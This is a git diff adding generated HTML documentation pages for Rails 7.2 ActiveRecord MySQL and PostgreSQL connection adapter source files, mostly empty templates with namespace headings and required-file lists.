diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/database_statements_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/database_statements_rb.html new file mode 100644 index 0000000000..e71be1dd89 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/database_statements_rb.html @@ -0,0 +1,78 @@ +--- +title: database_statements.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer_rb.html new file mode 100644 index 0000000000..2866903f86 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer_rb.html @@ -0,0 +1,74 @@ +--- +title: explain_pretty_printer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/quoting_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/quoting_rb.html new file mode 100644 index 0000000000..79fcd470b4 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/quoting_rb.html @@ -0,0 +1,84 @@ +--- +title: quoting.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/time_with_zone
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/schema_creation_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/schema_creation_rb.html new file mode 100644 index 0000000000..42eed42aee --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/schema_creation_rb.html @@ -0,0 +1,74 @@ +--- +title: schema_creation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions_rb.html new file mode 100644 index 0000000000..1dace8f239 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions_rb.html @@ -0,0 +1,85 @@ +--- +title: schema_definitions.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper_rb.html new file mode 100644 index 0000000000..5b89326179 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper_rb.html @@ -0,0 +1,74 @@ +--- +title: schema_dumper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/schema_statements_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/schema_statements_rb.html new file mode 100644 index 0000000000..c7536ae404 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/schema_statements_rb.html @@ -0,0 +1,74 @@ +--- +title: schema_statements.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/type_metadata_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/type_metadata_rb.html new file mode 100644 index 0000000000..b2db46c581 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/type_metadata_rb.html @@ -0,0 +1,74 @@ +--- +title: type_metadata.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql2/database_statements_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql2/database_statements_rb.html new file mode 100644 index 0000000000..53afd36084 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql2/database_statements_rb.html @@ -0,0 +1,78 @@ +--- +title: database_statements.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql2_adapter_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql2_adapter_rb.html new file mode 100644 index 0000000000..473c9a8a90 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql2_adapter_rb.html @@ -0,0 +1,93 @@ +--- +title: mysql2_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/connection_adapters/abstract_mysql_adapter
  • + +
  • active_record/connection_adapters/mysql2/database_statements
  • + +
  • mysql2
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/pool_config_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/pool_config_rb.html new file mode 100644 index 0000000000..e3110bdfad --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/pool_config_rb.html @@ -0,0 +1,74 @@ +--- +title: pool_config.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/pool_manager_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/pool_manager_rb.html new file mode 100644 index 0000000000..52a0d06f3a --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/pool_manager_rb.html @@ -0,0 +1,72 @@ +--- +title: pool_manager.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/column_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/column_rb.html new file mode 100644 index 0000000000..9eec81423c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/column_rb.html @@ -0,0 +1,74 @@ +--- +title: column.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/database_statements_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/database_statements_rb.html new file mode 100644 index 0000000000..f511eb3c6e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/database_statements_rb.html @@ -0,0 +1,76 @@ +--- +title: database_statements.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer_rb.html new file mode 100644 index 0000000000..8c1fcb58d5 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer_rb.html @@ -0,0 +1,74 @@ +--- +title: explain_pretty_printer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/array_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/array_rb.html new file mode 100644 index 0000000000..70fb4239d0 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/array_rb.html @@ -0,0 +1,76 @@ +--- +title: array.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_rb.html new file mode 100644 index 0000000000..df72c9af93 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_rb.html @@ -0,0 +1,85 @@ +--- +title: bit.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying_rb.html new file mode 100644 index 0000000000..6ffe3f6efd --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying_rb.html @@ -0,0 +1,76 @@ +--- +title: bit_varying.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea_rb.html new file mode 100644 index 0000000000..5828f9f42a --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea_rb.html @@ -0,0 +1,76 @@ +--- +title: bytea.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr_rb.html new file mode 100644 index 0000000000..68f44abc7e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr_rb.html @@ -0,0 +1,84 @@ +--- +title: cidr.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • ipaddr
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_rb.html new file mode 100644 index 0000000000..6759b35a6e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_rb.html @@ -0,0 +1,76 @@ +--- +title: date.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time_rb.html new file mode 100644 index 0000000000..92eb3fd7ee --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time_rb.html @@ -0,0 +1,76 @@ +--- +title: date_time.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal_rb.html new file mode 100644 index 0000000000..81b3e3fe88 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal_rb.html @@ -0,0 +1,76 @@ +--- +title: decimal.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum_rb.html new file mode 100644 index 0000000000..fb30950b1a --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum_rb.html @@ -0,0 +1,76 @@ +--- +title: enum.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore_rb.html new file mode 100644 index 0000000000..e792b20639 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore_rb.html @@ -0,0 +1,84 @@ +--- +title: hstore.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • strscan
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet_rb.html new file mode 100644 index 0000000000..f8870cb7d3 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet_rb.html @@ -0,0 +1,76 @@ +--- +title: inet.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/interval_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/interval_rb.html new file mode 100644 index 0000000000..69d13b9c30 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/interval_rb.html @@ -0,0 +1,86 @@ +--- +title: interval.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/duration
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb_rb.html new file mode 100644 index 0000000000..95c6a957ab --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb_rb.html @@ -0,0 +1,76 @@ +--- +title: jsonb.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/legacy_point_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/legacy_point_rb.html new file mode 100644 index 0000000000..5ee6cc72a0 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/legacy_point_rb.html @@ -0,0 +1,76 @@ +--- +title: legacy_point.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/macaddr_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/macaddr_rb.html new file mode 100644 index 0000000000..9a26308290 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/macaddr_rb.html @@ -0,0 +1,76 @@ +--- +title: macaddr.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/money_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/money_rb.html new file mode 100644 index 0000000000..2815f49337 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/money_rb.html @@ -0,0 +1,76 @@ +--- +title: money.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/oid_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/oid_rb.html new file mode 100644 index 0000000000..b1bf85e273 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/oid_rb.html @@ -0,0 +1,76 @@ +--- +title: oid.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/point_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/point_rb.html new file mode 100644 index 0000000000..16275e65f3 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/point_rb.html @@ -0,0 +1,76 @@ +--- +title: point.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/range_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/range_rb.html new file mode 100644 index 0000000000..309b56ae45 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/range_rb.html @@ -0,0 +1,76 @@ +--- +title: range.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string_rb.html new file mode 100644 index 0000000000..5530eb0c67 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string_rb.html @@ -0,0 +1,76 @@ +--- +title: specialized_string.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/timestamp_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/timestamp_rb.html new file mode 100644 index 0000000000..146df0816b --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/timestamp_rb.html @@ -0,0 +1,76 @@ +--- +title: timestamp.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/timestamp_with_time_zone_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/timestamp_with_time_zone_rb.html new file mode 100644 index 0000000000..577136597f --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/timestamp_with_time_zone_rb.html @@ -0,0 +1,78 @@ +--- +title: timestamp_with_time_zone.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer_rb.html new file mode 100644 index 0000000000..27d75a2a80 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer_rb.html @@ -0,0 +1,84 @@ +--- +title: type_map_initializer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/extract
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid_rb.html new file mode 100644 index 0000000000..7d9aad39e6 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid_rb.html @@ -0,0 +1,76 @@ +--- +title: uuid.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector_rb.html new file mode 100644 index 0000000000..31f9b10e1d --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector_rb.html @@ -0,0 +1,76 @@ +--- +title: vector.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml_rb.html new file mode 100644 index 0000000000..540cf58ed1 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml_rb.html @@ -0,0 +1,76 @@ +--- +title: xml.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid_rb.html new file mode 100644 index 0000000000..cb38f3cdc3 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/oid_rb.html @@ -0,0 +1,134 @@ +--- +title: oid.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/connection_adapters/postgresql/oid/array
  • + +
  • active_record/connection_adapters/postgresql/oid/bit
  • + +
  • active_record/connection_adapters/postgresql/oid/bit_varying
  • + +
  • active_record/connection_adapters/postgresql/oid/bytea
  • + +
  • active_record/connection_adapters/postgresql/oid/cidr
  • + +
  • active_record/connection_adapters/postgresql/oid/date
  • + +
  • active_record/connection_adapters/postgresql/oid/date_time
  • + +
  • active_record/connection_adapters/postgresql/oid/decimal
  • + +
  • active_record/connection_adapters/postgresql/oid/enum
  • + +
  • active_record/connection_adapters/postgresql/oid/hstore
  • + +
  • active_record/connection_adapters/postgresql/oid/inet
  • + +
  • active_record/connection_adapters/postgresql/oid/interval
  • + +
  • active_record/connection_adapters/postgresql/oid/jsonb
  • + +
  • active_record/connection_adapters/postgresql/oid/macaddr
  • + +
  • active_record/connection_adapters/postgresql/oid/money
  • + +
  • active_record/connection_adapters/postgresql/oid/oid
  • + +
  • active_record/connection_adapters/postgresql/oid/point
  • + +
  • active_record/connection_adapters/postgresql/oid/legacy_point
  • + +
  • active_record/connection_adapters/postgresql/oid/range
  • + +
  • active_record/connection_adapters/postgresql/oid/specialized_string
  • + +
  • active_record/connection_adapters/postgresql/oid/timestamp
  • + +
  • active_record/connection_adapters/postgresql/oid/timestamp_with_time_zone
  • + +
  • active_record/connection_adapters/postgresql/oid/uuid
  • + +
  • active_record/connection_adapters/postgresql/oid/vector
  • + +
  • active_record/connection_adapters/postgresql/oid/xml
  • + +
  • active_record/connection_adapters/postgresql/oid/type_map_initializer
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/quoting_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/quoting_rb.html new file mode 100644 index 0000000000..e8e9beced4 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/quoting_rb.html @@ -0,0 +1,87 @@ +--- +title: quoting.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity_rb.html new file mode 100644 index 0000000000..71fdb806a8 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity_rb.html @@ -0,0 +1,74 @@ +--- +title: referential_integrity.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/schema_creation_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/schema_creation_rb.html new file mode 100644 index 0000000000..6a2cdaf1db --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/schema_creation_rb.html @@ -0,0 +1,74 @@ +--- +title: schema_creation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions_rb.html new file mode 100644 index 0000000000..9db1521940 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions_rb.html @@ -0,0 +1,87 @@ +--- +title: schema_definitions.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper_rb.html new file mode 100644 index 0000000000..8ac16f5349 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper_rb.html @@ -0,0 +1,74 @@ +--- +title: schema_dumper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements_rb.html new file mode 100644 index 0000000000..8a9943f017 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements_rb.html @@ -0,0 +1,78 @@ +--- +title: schema_statements.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata_rb.html new file mode 100644 index 0000000000..f99dac3581 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata_rb.html @@ -0,0 +1,81 @@ +--- +title: type_metadata.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/utils_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/utils_rb.html new file mode 100644 index 0000000000..655d4ecb27 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql/utils_rb.html @@ -0,0 +1,74 @@ +--- +title: utils.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql_adapter_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql_adapter_rb.html new file mode 100644 index 0000000000..1c0e28be72 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/postgresql_adapter_rb.html @@ -0,0 +1,119 @@ +--- +title: postgresql_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • pg
  • + +
  • active_support/core_ext/object/try
  • + +
  • active_record/connection_adapters/abstract_adapter
  • + +
  • active_record/connection_adapters/statement_pool
  • + +
  • active_record/connection_adapters/postgresql/column
  • + +
  • active_record/connection_adapters/postgresql/database_statements
  • + +
  • active_record/connection_adapters/postgresql/explain_pretty_printer
  • + +
  • active_record/connection_adapters/postgresql/oid
  • + +
  • active_record/connection_adapters/postgresql/quoting
  • + +
  • active_record/connection_adapters/postgresql/referential_integrity
  • + +
  • active_record/connection_adapters/postgresql/schema_creation
  • + +
